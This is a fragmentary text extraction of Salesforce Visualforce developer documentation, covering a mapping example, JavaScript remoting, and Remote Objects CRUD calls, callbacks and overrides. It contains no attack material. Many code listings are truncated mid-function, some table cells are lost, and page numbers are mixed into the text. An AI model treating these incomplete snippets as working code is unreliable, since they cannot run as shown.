Account[] theRecs = getMyAccts();
return addrStr;
}
}
SEE ALSO:
Building a Custom Controller
291
window.onload = func;
} else {
window.onload = function() {
oldonload();
func();
}
}
}
addLoadEvent(
function() {
if (GBrowserIsCompatible()) {
var my_geocoder = new GClientGeocoder();
var map = new GMap2(document.getElementById("map"));
var TC = new GMapTypeControl();
var bottomRight = new GControlPosition(G_ANCHOR_BOTTOM_RIGHT, new GSize(10,10));
var mCount =0;
map.addControl(new GSmallMapControl()); // Small arrows
map.addControl(TC, bottomRight); // Map type buttons
function LTrim( value ) {
var re = /\s*((\S+\s*)*)/;
return value.replace(re, "$1");
}
function RTrim( value ) {
var re = /((\s*\S+)*)\s*/;
return value.replace(re, "$1");
}
// Remove leading and ending whitespaces
function trim( value ) {
return LTrim(RTrim(value));
}
function doAddLocationToMap(SiteName, Street, City, State, Zip, typ) {
var addr = Street + ", " + City + ", " + State + " " + Zip;
my_geocoder.getLatLng (addr,
function(point) {
if (point) {
var mTag = '';
var myIcon = new GIcon(G_DEFAULT_ICON);
if(typ == 'self') {
mTag = "<b>" + SiteName + "</b>" + "<br>" + City ;
myIcon.image = "http://maps.google.com/mapfiles/arrow.png";
myIcon.iconSize=new GSize(32,32);
} else {
if(typ == 'acct') {
mCount ++;
var priAr = SiteName.split(":");
var compName = priAr[0]; // company name
292
var
var
var
var
var
293
if(arCols[1].length >0)
doAddLocationToMap(arCols[0],arCols[1],arCols[2],
arCols[3],arCols[4],'acct');
}
//Get user address and draw
doAddLocationToMap('{!$User.FirstName} {!$User.LastName}'
+' (Me)','{!$User.Street}','{!$User.City}','
{!$User.State}','{!$User.PostalCode}','self');
}
}
);
The following code defines the landing page of our mapping application:
<apex:page controller="mapController" showHeader="false">
<apex:composition template="iuivf" />
<script src="{!myKey}" type="text/javascript"> </script>
<apex:includeScript value="{!$Resource.MobileListView}"/>
The markup in our page uses the <apex:composition> component to reference a template. The template leverages the iUI
framework, which lets us apply iPhone-like styling to our page. The iUI framework is included from the $Resource.IUI static
resource. By defining a template, we can easily apply the same styling to all of the Visualforce pages we create for the iPhone platform.
294
The following markup defines the iuivf page used as the template:
<!-*
Page definition: iuivf
*
Visualforce template for iUI includes needed for
*
using the iui framework <http://code.google.com/p/iui/>
*
in any Visualforce page.
-->
<apex:page>
<meta name="viewport" content="width=320; initial-scale=1.0;
maximum-scale=1.0; user scalable=0;"/>
<apex:includeScript value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.js')}" />
<apex:styleSheet value="{!URLFOR($Resource.IUI, 'iui-0.13/iui/iui.css')}" />
<style> #home { position: relative; top: 0px; } </style>
</apex:page>
295
return null;
}
}
Next, we'll create a Visualforce page that displays the phone number and rating of the account the user selected from the list view. We'll
use the <fieldset> and <row> classes from the iUI framework to apply iPhone-like styling to the page.
The following code defines the account detail page of our mapping application:
<apex:page showHeader="false" controller="customAccountController" title="My Account" >
<apex:composition template="iuivf" />
<div class="panel" id="acctDetail" selected="true" style="padding: 10px;
margin-top:-44px" title="Account Information" >
<h2>{!Account.Name}</h2>
<fieldset style="margin: 0 0 20px 0;">
<div class="row">
<label>Phone:</label>
<input type="text" value="{!Account.Phone}" />
</div>
<div class="row">
<label>Rating:</label>
<input type="text" value="{!Account.Rating}" />
</div>
</fieldset>
</div>
</apex:page>
296
297
When a package containing Visualforce pages is installed into an organization, the pages are served from the visual.force.com
domain instead of the Salesforce domain. This is to prevent malicious code in a package from affecting your data.
SEE ALSO:
Testing Custom Controllers and Controller Extensions
298
You can then use the functions defined within that JavaScript file within your page using <script> tags.
Tip: When using JavaScript within an expression, you need to escape quotes using a backslash (\). For example,
onclick="{!IF(false, 'javascript_call(\"js_string_parameter\")', 'else case')}"
299
The top of the page includes JavaScript contained within the <script> HTML tag. It takes as arguments the element that triggered
the event (input) and the DOM ID (textid) of the target panel containing the text to be affected.
<apex:page id="thePage">
<!-- A simple function for changing the font. -->
<script>
function changeFont(input, textid) {
if(input.checked) {
document.getElementById(textid).style.fontWeight = "bold";
}
else {
document.getElementById(textid).style.fontWeight = "normal";
}
}
</script>
<!-- This outputPanel calls the function, passing in the
checkbox itself, and the DOM ID of the target component. -->
<apex:outputPanel layout="block">
<label for="checkbox">Click this box to change text font:</label>
<input id="checkbox" type="checkbox"
onclick="changeFont(this,'{!$Component.thePanel}');"/>
</apex:outputPanel>
<!-- This outputPanel is the target, and contains
text that will be changed. -->
<apex:outputPanel id="thePanel" layout="block">
Change my font weight!
</apex:outputPanel>
</apex:page>
The {!$Component.thePanel} expression is used to obtain the DOM ID of the HTML element generated by the
<apex:outputPanel id="thePanel"> component.
SEE ALSO:
Best Practices for Accessing Component IDs
$Component
You can then use it in a page by adding a <script> to call functions from the library.
300
If youre using a JavaScript library in a Visualforce page, and that library defines $ as a special character, youll need to modify your
JavaScript to override this usage. For example, with jQuery you can override the definition of $ by using the jQuery.noConflict()
function.
<apex:page >
<apex:includeScript value="{!$Resource.jquery}"/>
<html>
<head>
<script>
jQuery.noConflict();
jQuery(document).ready(function() {
jQuery("a").click(function() {
alert("Hello world, part 2!");
});
});
</script>
</head>
...
</apex:page>
Note:
The use of third-party JavaScript libraries and frameworks is supported and encouraged by Salesforce. However, Salesforce
cant help you debug your JavaScript code, except as it specifically relates to Salesforce functionality.
Dont use Ext JS versions less than version 3 on pages that use Chatter components, <apex:enhancedList>,
<knowledge:articleCaseToolbar>, or <knowledge:articleRendererToolbar>.
301
302
Description
namespace
The namespace of the controller class. This is required if your organization has a namespace defined,
or if the class comes from an installed package.
controller
method
parameters
callbackFunction
The name of the JavaScript function that will handle the response from the controller. You can also
declare an anonymous function inline. callbackFunction receives the status of the method
call and the result as parameters.
configuration
Configures the handling of the remote call and response. Use this to change the behavior of a
remoting call, such as whether or not to escape the Apex methods response.
The remote method call executes synchronously, but it doesnt wait for the response to return. When the response returns, the callback
function handles it asynchronously. See Handling the Remote Response on page 309 for details.
These configuration parameters arent ordered, and you can omit parameters you dont want to change from the default.
303
Data Type
Description
buffer
Boolean
escape
Boolean
timeout
Integer
The request timeout can also be configured for all requests made by a page, by setting the timeout using the Visualforce remoting
object:
<script type="text/javascript">
Visualforce.remoting.timeout = 120000; // Set timeout at page level
function getRemoteAccount() {
var accountName = document.getElementById('acctSearch').value;
// This remoting call will use the page's timeout value
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.AccountRemoter.getAccount}',
accountName,
handleResult
);
}
function handleResult(result, event) { ... }
</script>
Override a page-level timeout configuration on a per-request basis by setting the timeout in the configuration object for that request,
as described above.
304
invocation_parameters
);
The fully qualified remote action is a string that represents the complete path to the remote action method, including namespace, base
class, and so on: namespace[.BaseClass][.ContainingClass].ConcreteClass.Method. Use $RemoteAction
in an expression to automatically resolve the namespace, for example {!$RemoteAction.MyController.getAccount}.
Invocation parameters are the arguments used to perform the remote method invocation, and are the same arguments used to make
a standard remoting call:
The parameters to send to the @RemoteAction method, if any.
The callback function, which handles the returned result.
Configuration details for the invocation, if any.
For example, you might define a remote invocation to retrieve an account like this:
<script type="text/javascript">
function getRemoteAccount() {
var accountName = document.getElementById('acctSearch').value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.MyController.getAccount}',
accountName,
function(result, event){
if (event.status) {
document.getElementById('acctId').innerHTML = result.Id
document.getElementById('acctName').innerHTML = result.Name;
} else if (event.type === 'exception') {
document.getElementById("responseErrors").innerHTML = event.message;
} else {
document.getElementById("responseErrors").innerHTML = event.message;
}
},
{escape: true}
);
}
</script>
This JavaScript remoting call doesnt need to know the details of the namespace in which the controller is defined, whether its in your
own namespace or something provided by an installed package. It also handles the situation where your organization doesnt have a
namespace defined.
Note: Errors encountered when calling invokeAction are reported only in the JavaScript console. For example, if
$RemoteAction finds matching @RemoteAction methods in multiple namespaces, it returns the first matching method
and logs a warning to the JavaScript console. If a matching controller or action is not found, the call silently fails and an error is
logged to the JavaScript console.
305
Configuring OAuth for JavaScript remoting from a Visualforce page takes the following form:
<script type="text/javascript">
Visualforce.remoting.oauthAccessToken = <access_token>;
// ...
</script>
Once oauthAccessToken is set, all JavaScript remoting requests use OAuth. The rest of your JavaScript remoting code can remain
the same.
oauthAccessToken is an OAuth authentication token obtained by your pages code. Obtaining and updating an access token is
straightforward OAuth, with one addition. JavaScript remoting OAuth authentication requests the visualforce scope, so your token
must be generated with this or a scope that contains it, including web or full. Set scope=visualforce (or web or full) in
your OAuth request.
For information about obtaining access tokens, and using OAuth with the Force.com platform, see Authenticating Remote Access
Applications in the Salesforce online help and
developer.salesforce.com/page/Digging_Deeper_into_OAuth_2.0_on_Force.com.
306
Visualforce Page
Non-Global
Component
Global Component
iframe
Allowed
Allowed
Allowed
Allowed
Allowed
Allowed
Error
Error
@RemoteAction
Scope
When remote actions are accessed via markup that is included indirectly, via components or the <apex:include> or
<apex:composition> tags, the scope of the remote method is carried forward into the top level container, that is, the top level
item in the inclusion hierarchy, which must abide by scope escalation rules:
Top Level Container
@RemoteAction
Accessed From
Visualforce Page
Non-Global
Component
Global Component
iframe
Global Component
Allowed
Allowed
Allowed
Allowed
Allowed
Allowed only if
non-global component
doesn't include public
remote methods.
Allowed only if
non-global component
doesn't include public
remote methods.
n/a
Error
<apex:include>
Allowed within the same n/a
<apex:composition> namespace; error if
307
The remote method doesnt exist in the ChildRemoteController class. Instead, its inherited from
GrandparentRemoteController.
Objects sent from a JavaScript remoting call to a @RemoteAction that declares interface parameters must include an apexType
value, which must be a fully-qualified path to the concrete class, that is,
namespace[.BaseClass][.ContainingClass].ConcreteClass. For example, to make a JavaScript remoting call to
the above controller:
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.RemoteController.setMessage}',
{'apexType':'thenamespace.RemoteController.MyClass', 'myString':'Lumos!'},
handleResult
);
308
If the class definition is within your organization, you can simplify the remoting call, and also use the default c namespace:
RemoteController.setMessage(
{'apexType':'c.RemoteController.MyClass', 'myString':'Lumos!'},
handleResult
);
Description
event.status
event.type
The type of the response: rpc for a successful call, exception if the remote method threw an
exception, and so on.
event.message
event.where
Contains the Apex stack trace, if one was generated by the remote method.
Apex primitive data types returned by resultsuch as strings or numbersare converted to their JavaScript equivalents. Apex
objects that are returned are converted to JavaScript objects, while collections are converted to a JavaScript array. Keep in mind that
JavaScript is case-sensitive, so id, Id, and ID are considered different fields.
As part of a JavaScript remote call, if the Apex method response contains references to the same object, the object wont be duplicated
in the returned JavaScript object, and instead, the rendered JavaScript object will contain references to the same object. An example is
an Apex method which returns a list that contains the same object twice.
309
'{!$RemoteAction.MyController.getAccount}',
accountName,
function(result, event){
if (event.status) {
document.getElementById('acctId').innerHTML = result.Id
document.getElementById('acctName').innerHTML = result.Name;
} else if (event.type === 'exception') {
document.getElementById("responseErrors").innerHTML =
event.message + "<br/>\n<pre>" + event.where + "</pre>";
} else {
document.getElementById("responseErrors").innerHTML = event.message;
}
}
);
}
</script>
310
Other than the @RemoteAction annotation, this looks like any other controller definition.
To make use of this remote method, create a Visualforce page that looks like this:
<apex:page controller="AccountRemoter">
<script type="text/javascript">
function getRemoteAccount() {
var accountName = document.getElementById('acctSearch').value;
Visualforce.remoting.Manager.invokeAction(
'{!$RemoteAction.AccountRemoter.getAccount}',
accountName,
function(result, event){
if (event.status) {
// Get DOM IDs for HTML and Visualforce elements like this
document.getElementById('remoteAcctId').innerHTML = result.Id
document.getElementById(
"{!$Component.block.blockSection.secondItem.acctNumEmployees}"
).innerHTML = result.NumberOfEmployees;
} else if (event.type === 'exception') {
document.getElementById("responseErrors").innerHTML =
event.message + "<br/>\n<pre>" + event.where + "</pre>";
} else {
document.getElementById("responseErrors").innerHTML = event.message;
}
},
{escape: true}
);
}
</script>
<input id="acctSearch" type="text"/>
<button onclick="getRemoteAccount()">Get Account</button>
<div id="responseErrors"></div>
<apex:pageBlock id="block">
<apex:pageBlockSection id="blockSection" columns="2">
<apex:pageBlockSectionItem id="firstItem">
<span id="remoteAcctId"/>
</apex:pageBlockSectionItem>
<apex:pageBlockSectionItem id="secondItem">
<apex:outputText id="acctNumEmployees"/>
</apex:pageBlockSectionItem>
</apex:pageBlockSection>
</apex:pageBlock>
</apex:page>
311
Accessing the DOM ID of a plain HTML element is simple, just use the ID of the item.
DOM IDs of Visualforce components are dynamically generated in order to ensure IDs are unique. The code above uses the technique
illustrated in Using $Component to Reference Components from JavaScript to retrieve the components ID by accessing it via
the $Component global variable.
312
}
else {
var ul = document.getElementById("warehousesList");
records.forEach(function(record) {
// Build the text for a warehouse line item
var whText = record.get("Name");
whText += " -- ";
whText += record.get("Phone");
// Add the line item to the warehouses list
var li = document.createElement("li");
li.appendChild(document.createTextNode(whText));
ul.appendChild(li);
});
}
});
};
</script>
<h1>Retrieve Warehouses via Remote Objects</h1>
<p>Warehouses:</p>
<ul id="warehousesList">
</ul>
<button onclick="fetchWarehouses()">Retrieve Warehouses</button>
</apex:page>
Notice something unusual about this pagethere is no controller or controller extension. All of the data access is handled by the Remote
Objects components.
The first part of this example is the Remote Objects components that specify which objects and fields to make accessible on the page.
<apex:remoteObjects >
<apex:remoteObjectModel name="Warehouse__c" jsShorthand="Warehouse" fields="Name,Id">
<apex:remoteObjectField name="Phone__c" jsShorthand="Phone"/>
</apex:remoteObjectModel>
</apex:remoteObjects>
These components generate JavaScript model classes, one per sObject in the access specification, which you use to make data access
calls directly from your JavaScript code. Notice the use of the jsShorthand attribute, which maps the full Salesforce API name to a
simpler, shorter name to use in your JavaScript code. If you plan to package and distribute your code, setting jsShorthand is essential
because it eliminates the use of your organizations namespace in the packaged code. Using the shorthand does all the work.
The second part of this example is a JavaScript function that uses the models that are generated by the access definition components
to retrieve a set of records for display on the page.
<!-- JavaScript to make Remote Objects calls -->
<script>
var fetchWarehouses = function(){
// Create a new Remote Object
var wh = new SObjectModel.Warehouse();
// Use the Remote Object to query for 10 warehouse records
313
The first line of the function creates a Warehouse object from the model. Notice that the call that creates it uses the jsShorthand
for the sObject instead of the full API name of the object. Following this best practice decouples your JavaScript code from the specifics
of your organization namespace, sObject and field names, and so on, and makes your code more succinct and clear.
The second line uses the new Warehouse object, wh, to perform a query for Warehouse records. The call provides two arguments: a
simple query specifier and an anonymous function to handle the results. The function is standard JavaScript. It iterates over the results
and creates list items to append to the list of warehouses on the page.
The page body is static HTML.
<h1>Retrieve Warehouses via Remote Objects</h1>
<p>Warehouses:</p>
<ul id="warehousesList">
</ul>
<button onclick="fetchWarehouses()">Retrieve Warehouses</button>
Your code adds results to the warehousesList list. When the page loads, the list is empty. Clicking the button fires the JavaScript
function that was defined earlier, which performs the query and adds the results.
314
the name by using the jsNamespace attribute. Use different base models to group related Remote Objects along functional or
package lines. For example:
<apex:remoteObjects jsNamespace="MyCorpModels">
<apex:remoteObjectModel name="Contact" fields="FirstName,LastName"/>
</apex:remoteObjects>
<apex:remoteObjects jsNamespace="TrackerModels">
<apex:remoteObjectModel name="Shipment__c" fields="Id,TrackNum__c"/>
</apex:remoteObjects>
Specific Models
You dont normally create a base model yourself but instead use the generated base model as a factory for creating specific models. For
example, with the above declaration, instantiate a Contact model in JavaScript like this:
var ct = new MyCorpModels.Contact();
Note that ct is a JavaScript model for the Contact object, not a specific Contact record.
ct represents a specific object, Contact, and provides a connection between your pages JavaScript and the Salesforce service. ct
can be used to perform the basic CRUD operationscreate, read, update, and deleteon contact objects in the database.
In the following sections, examples are based on the following Remote Objects declaration, which uses all three Remote Objects
components and shows how to add a custom field, Notes__c, with a shorthand name to make accessing it in JavaScript more
natural.
<apex:remoteObjects jsNamespace="RemoteObjectModel">
<apex:remoteObjectModel name="Contact" fields="Id,FirstName,LastName,Phone">
<apex:remoteObjectField name="Notes__c" jsShorthand="Notes"/>
</apex:remoteObjectModel>
</apex:remoteObjects>
To instantiate a model with fields set, typically to create a new record, pass in an object that contains field name and value pairs. For
example:
var ct = new RemoteObjectModel.Contact({
FirstName: "Aldo",
LastName: "Michaels",
Phone: "(415) 555-1212"
});
315
Remote Objects models use basic get() and set() methods to retrieve and set field values. For example:
var ct = new RemoteObjectModel.Contact({ FirstName: "Aldo" });
ct.get('FirstName'); // 'Aldo'
ct.get('Phone'); // <undefined>
ct.set('FirstName', 'Benedict');
ct.set('Phone', '(415) 555-1212');
Theres no functional difference between setting field values with a properties list in the constructor and setting field values with set().
The field_values block enables you to define and create a record in one statement. Set field values as you do when you create a
model, using a JSON string. For example, the following two calls to create() are equivalent.
var ctDetails = { FirstName: 'Marc', LastName: 'Benioff' };
// Call create() on an existing Contact model, with no arguments
var ct = new RemoteObjectModel.Contact(ctDetails);
ct.create();
// Call create() on an empty Contact model, passing in field values
var ct = new RemoteObjectModel.Contact();
ct.create(ctDetails);
create() doesnt return a result directly. The callback function enables you to handle the server response asynchronously.
Note: All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being
completed, including handling returned results, must be placed in the callback function.
Your callback function can accept up to three arguments.
function callback(Error error, Array results, Object event) { // ... }
See Remote Objects Callback Functions on page 323 for details about writing Remote Objects callback functions.
The Id field is set on the Remote Object as part of a successful create() call. You can access this field in your callback function.
var ctDetails = { FirstName: 'Marc', LastName: 'Benioff' };
var ct = new RemoteObjectModel.Contact();
ct.create(ctDetails, function(err) {
if(err) {
console.log(err);
alert(err.message);
}
else {
// this is the contact
console.log(ct.log());
// Dump contact to log
console.log(ct.get('Id')); // Id is set when create completes
}
});
316
Note the use of the log() function; its the equivalent of toString() for Remote Objects.
Note: For clarity, this example uses a global variable, ct, which isnt a best practice. See Remote Objects Callback Functions on
page 323 for better techniques.
SEE ALSO:
Remote Objects Callback Functions
criteria can be a Remote Objects query object or a function that returns one. The following two calls are equivalent.
var ct = new RemoteObjectModel();
// Empty callback functions for simplicity
ct.retrieve({where: {FirstName: {eq: 'Marc' }}}, function() {}); // query object
ct.retrieve(function(){
return({where: {FirstName: {eq: 'Marc' }}});
}, function() {}); // function returning query object
See Format and Options for Remote Objects Query Criteria on page 321 for an explanation of the query object.
retrieve() doesnt return a result directly. The callback function enables you to handle the server response asynchronously.
Note: All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being
completed, including handling returned results, must be placed in the callback function.
Your callback function can accept up to three arguments.
function callback(Error error, Array results, Object event) { // ... }
See Remote Objects Callback Functions on page 323 for details about writing Remote Objects callback functions.
SEE ALSO:
Format and Options for Remote Objects Query Criteria
Remote Objects Callback Functions
317
record_ids is an array of strings, where the strings are the Ids of records to be updated. If this parameter is omitted, the Id that
is set on the Remote Object instance is used. The simplest way to update a record is to call update() on itself.
ctDetails = {FirstName: "Marc", LastName: "Benioff"};
ct = new RemoteObjectModel.Contact(ctDetails);
ct.create();
// Later, in response to a page event...
ct.set('Phone', '555-1212');
ct.update();
More often, you might need to update a record in response to a form submission. Updating the record can be as simple as reading some
form values, including the records Id, and passing the values to update(). For example:
var record = new RemoteObjectModel.Contact();
record.update($j('#contactId').val(),
{
FirstName: $j('#fName').val(),
LastName: $j('#lName').val(),
Phone: $j('#phone').val(),
Notes: $j('#notes').val()
});
Robust code includes a callback to handle errors. The following code accomplishes the same as the previous sample, altered to use an
event handler and a callback function.
// Handle the Save button
function updateContact(e){
e.preventDefault();
var record = new RemoteObjectModel.Contact({
Id: $jQuery('#contactId').val(),
FirstName: $jQuery('#fName').val(),
LastName: $jQuery('#lName').val(),
Phone: $jQuery('#phone').val(),
Notes: $jQuery('#notes').val()
});
record.update(updateCallback);
}
// Callback to handle DML Remote Objects calls
function updateCallback(err, ids){
if (err) {
displayError(err);
} else {
// Reload the contacts with current list
getAllContacts();
$jQuery.mobile.changePage('#listpage', {changeHash: true});
}
}
You can update many records at the same time, as long as the update to be performed is uniform, that is, the same for every record. For
example, you might need to update a collection of checked items from a list, to change a status field to Archived or a current timestamp.
318
To update records in one request, pass an array of Ids to update(). The fields to be updated can be set as part of the Remote Object
model itself, but its safer to pass them directly to update(), like this:
var ct = new RemoteObjectModel.Contact();
ct.update(
['003xxxxxxxxxxxxxxx', '003xxxxxxxxxxxxxxx'],
{ FirstName: "George", LastName: "Foreman" },
function(err, ids) {
if (err) {
displayError(err);
} else {
// Reload the contacts with current list
getAllContacts();
$jQuery('#status').html(ids.length + ' record(s) updated.');
$jQuery.mobile.changePage('#listpage', {changeHash: true});
}
});
Note: When you update multiple records this way, all of the records are updated in the same server-side transaction.
SEE ALSO:
Remote Objects Callback Functions
The field_values block enables you to set the values and save a record in one statement. Set field values as you do when you
create a model, using a JSON string. For example, the following two calls to upsert() are equivalent.
// Call upsert() on a Contact model, with no arguments
// ct is a RemoteObjectModel.Contact that already has data
ct.set('Phone', '(415) 777-1212');
ct.upsert();
// Call upsert() on a Contact model, passing in field values
// ct is a RemoteObjectModel.Contact that already has data
ct.upsert({Phone: '(415) 777-1212'});
In the preceding example, its not clear if the contact exists in the database or if its a new contact thats coming from an input form.
upsert() handles the details. If theres an Id field set on the contact, the contact will be updated. If theres no Id, a new contact
is created.
upsert() doesnt return a result directly. The callback function enables you to handle the server response asynchronously.
Note: All server operations that use Remote Objects are performed asynchronously. Any code that depends on the request being
completed, including handling returned results, must be placed in the callback function.
319
See Remote Objects Callback Functions on page 323 for details about writing Remote Objects callback functions.
SEE ALSO:
Creating Records with Remote Objects
Updating Records with Remote Objects
record_ids is an array of strings, where the strings are the Ids of records to be deleted. If this parameter is omitted, the Id that
is set on the Remote Object instance is used. The simplest way to delete a record is to call del() on itself.
ctDetails = {FirstName: "Tobe", LastName: "Ornottobe"};
ct = new RemoteObjectModel.Contact(ctDetails);
ct.create();
// After some thought, and the async operation completes...
// It's not to be; delete the contact
ct.del();
More often, you might need to delete a record in response to a button click. Deleting the record is as simple as getting the records Id
from the page and then passing the Id to del(). For example:
var id = $jQuery('#contactId').val();
var ct = new RemoteObjectModel.Contact();
ct.del(id);
Robust code includes a callback to handle errors. The following code accomplishes the same as the previous sample, altered to use an
event handler and a callback function.
// Handle the delete button click
function deleteContact(e){
e.preventDefault();
var ct = new RemoteObjectModel.Contact();
ct.del($jQuery('#contactId').val(), updateCallback);
}
// Callback to handle DML Remote Objects calls
function updateCallback(err, ids){
if (err) {
displayError(err);
} else {
// Reload the contacts with current list
getAllContacts();
320
To delete multiple records in one requestfor example, checked items from a listpass an array of Ids to del().
var ct = new RemoteObjectModel.Contact();
ct.del(['003xxxxxxxxxxxxxxx', '003xxxxxxxxxxxxxxx'], function(err, ids) {
if (err) {
displayError(err);
} else {
// Reload the contacts with current list
getAllContacts();
$jQuery('#status').html(ids.length + ' record(s) deleted.');
$jQuery.mobile.changePage('#listpage', {changeHash: true});
}
});
Note: When you delete multiple records this way, all of the records are deleted in the same server-side transaction.
SEE ALSO:
Remote Objects Callback Functions
The query criteria find a contact named Marc Benioff and limit the query to a single result.
321
where Conditions
where conditions enable you to filter the results of a retrieve operation, much the same way that a WHERE condition in a SOQL query
does. The operators that are available for where conditions are:
eq: equals
ne: not equals
lt: less than
lte: less than or equals
gt: greater than
gte: greater than or equals
like: string matching. As with SOQL, use % as a wildcard character.
in: in, used for finding a value that matches any of a set of fixed values. Provide values as an array, for example, ['Benioff', 'Jobs',
'Gates'].
nin: not in, used for finding a value that matches none of a set of fixed values. Provide values as an array, for example, ['Benioff',
'Jobs', 'Gates'].
and: logical AND, used for combining conditions
or: logical OR, used for combining conditions
Within the where object, add field name and condition pairs to create complex criteria. Multiple conditions by default are treated as
AND conditions. You can use and and or to create other criteria conditions. For example:
{
where:
{
or:
{
FirstName: { like: "M%" },
Phone: { like: '(415)%' }
}
}
}
orderby Conditions
orderby enables you to set a sort order for your results. You can sort on up to three fields.
Specify your orderby conditions as an array of JavaScript objects that contain name-value pairs. The field to sort on is the name, and
the sort description is the value. The sort description enables you to sort ascending or descending and to sort null values first or last. For
example:
orderby: [ {Phone: "DESC NULLS LAST"} , {FirstName: "ASC"} ]
Use limit to specify how many records to return in one batch of results. The default value is 20. The maximum is 100.
Use offset to specify how many records to skip in the overall result set before adding records to the returned results. The minimum
is 1. The maximum offset is 2,000 rows. Requesting an offset greater than 2,000 will result in a NUMBER_OUTSIDE_VALID_RANGE
error.
322
Name
Type
Description
error
JavaScript Error object A standard JavaScript Error object. If the operation succeeded, error is
null. Use error.message to retrieve the reason for a failure.
results
JavaScript array
An array that contains the results of the operation. If the operation was a
retrieve(), the results are instances of the appropriate Remote Objects.
Otherwise, the array contains strings that represent the Ids of affected records.
event
JavaScript object
A JavaScript object that provides the details of the JavaScript remoting event
transporting the Remote Objects operation.
Most callback functions check for errors and then take an action with the results. The event object is typically used only in debugging
and sophisticated error management.
Example: Heres a straightforward callback function, which handles the results of a retrieve() operation.
function getAllContacts() {
$j.mobile.showPageLoadingMsg();
var c = new RemoteObjectModel.Contact();
c.retrieve({ limit: 100 }, function (err, records) {
// Handle errors
if (err) {
displayError(err);
} else {
// Add the results to the page
var list = $j(Config.Selectors.list).empty();
$j.each(records, function() {
var newLink = $j('<a>'+this.get('FirstName')+'
'+this.get('LastName')+'</a>');
newLink.appendTo(list).wrap('<li></li>');
});
$j.mobile.hidePageLoadingMsg();
323
list.listview('refresh');
}
});
}
In this sample, getAllContacts() calls retrieve() and passes an anonymous function as the callback. The callback
function checks for errors and then uses jQuery to iterate through the array of result records, adding them to the page. Some
details are omitted to focus on the callback structure. See An Example of Using Remote Objects with jQuery Mobile on page 329
for the complete page source code.
SEE ALSO:
An Example of Using Remote Objects with jQuery Mobile
The attribute takes a Visualforce expression that references the @RemoteAction method to use as the override for the built-in
create() operation. The expression takes the form of $RemoteAction.OverrideClassName.overrideMethodName,
where the $RemoteAction global handles your organization namespace, as it does for JavaScript remoting. Note that the class that
contains the @RemoteAction method needs to be set as the pages controller or as a controller extension for the page.
With this declaration, whenever your pages JavaScript code calls the create() function for a contact Remote Object, instead of
using the Remote Objects controller, your remote method will be called.
324
The type parameter is the sObject type thats being acted upon, and the fields map is a collection that contains the values that
were set on the Remote Object before the overridden method was called.
The return value is a map that represents the result of a Remote Objects operation. This map typically include the results of the call, the
status, and any custom data that you want to provide as part of your custom method.
The simplest way to construct a valid return map is to use the RemoteObjectController. This is the standard controller that
provides the built-in functionality for Remote Objects, and you can delegate data manipulation language (DML) operations to it by
passing along your methods parameters. For example, heres a create() method that does nothing more than the built-in version
of create() does:
@RemoteAction
public static Map<String, Object> create(String type, Map<String, Object> fields) {
Map<String, Object> result = RemoteObjectController.create(type, fields);
return result;
}
This method is effectively a no-op; that is, this method does exactly the same thing the built-in version would have done, nothing more
and nothing less. Your override methods can execute whatever additional Apex you need to, including logging, additional DML, other
method calls, and so on. For a more complete example of a Remote Objects override method, and the page that uses it, see An Example
of Using Remote Method Overrides in Remote Objects on page 325.
Important: The RemoteObjectController standard controller automatically handles sharing rules, ownership, and other
security concerns for Remote Objects. In contrast, methods in a custom controller or controller extension operate in system mode
by default, which allows full access to all data in the organization. This behavior is the same as for standard Visualforce pages that
use custom controllers or controller extensions. When you write the controller code, you need to handle access rights and other
concerns yourself.
As a best practice, use the with sharing keyword for your controller or controller extension class, and delegate as much as
you can to the RemoteObjectController.
SEE ALSO:
Creating Records with Remote Objects
Deleting Records with Remote Objects
Retrieving Records with Remote Objects
Updating Records with Remote Objects
325
Heres the Visualforce page, with the remote override declaration in bold.
<apex:page showHeader="false" standardStylesheets="false" docType="html-5.0"
title="ContactsRemoteObjects Style" controller="RemoteObjectContactOverride">
<!-- Include in some mobile web libraries -->
<apex:stylesheet
value="//netdna.bootstrapcdn.com/bootswatch/3.1.1/superhero/bootstrap.min.css"/>
<apex:includeScript value="//ajax.googleapis.com/ajax/libs/jquery/1.11.0/jquery.min.js"/>
<apex:includeScript
value="//cdnjs.cloudflare.com/ajax/libs/mustache.js/0.7.2/mustache.min.js"/>
<!-- Set up Remote Objects, with an override for create() method -->
<apex:remoteObjects jsNamespace="$M">
<apex:remoteObjectModel name="Contact" fields="FirstName,LastName,Phone"
create="{!$RemoteAction.RemoteObjectContactOverride.create}"/>
</apex:remoteObjects>
<!-- Page markup -->
<div class="container">
<div class="row">
<div class="col-md-2"></div>
<div class="col-md-8">
<table id="myTable"
class="table table-bordered table-striped table-condensed">
<colgroup>
<col class="col-md-3" />
<col class="col-md-3" />
<col class="col-md-3" />
</colgroup>
<caption>
Contact Data Order ([ {LastName: 'ASC'}, {FirstName: 'DESC'} ])
326
327
328
The key line of code in the preceding sample is in the Remote Objects access definition. Adding a single attribute to the contact Remote
Object definition sets up the override:
create="{!$RemoteAction.RemoteObjectContactOverride.create}"
The attribute takes a Visualforce expression that references the @RemoteAction method to use as the override for the built-in
create() operation.
In this case, the referenced method is in an Apex class thats the pages controller. The code for the override method is straightforward.
public class with sharing RemoteObjectContactOverride {
@RemoteAction
public static Map<String, Object> create(String type, Map<String, Object> fields) {
System.debug(LoggingLevel.INFO, 'Before calling create on: ' + type);
// Invoke the standard create action
// For when you want mostly-normal behavior, with a little something different
Map<String, Object> result = RemoteObjectController.create(type, fields);
System.debug(LoggingLevel.INFO, 'After calling create on: ' + type);
System.debug(LoggingLevel.INFO, 'Result: ' + result);
// Here's the little something different, adding extra data to the result
Map<String, Object> customResult =
new Map<String, Object> {'custom' => 'my custom data' };
customResult.putAll(result);
return customResult;
}
}
This method logs the @RemoteAction call and then uses the standard RemoteObjectController.create() call to
perform the create. Its performing the same data manipulation language (DML) commands to create the record that the built-in version
would, because its using the built-in version. After performing the create, the method does a little more logging. Finally it adds some
extra data to the return payload that will be received by the JavaScript callback function on the Visualforce page.
Its adding the extra data thats interesting and makes overriding the built-in method useful. The extra data thats added by the preceding
controller is trivial, for the purposes of illustration only. A real-world override can include more complex logicthe result of a calculation,
other method calls, and so on. Whats important to understand is that the new custom override method can do additional things behind
the scenes, and can return extra data that the built-in version cant.
329
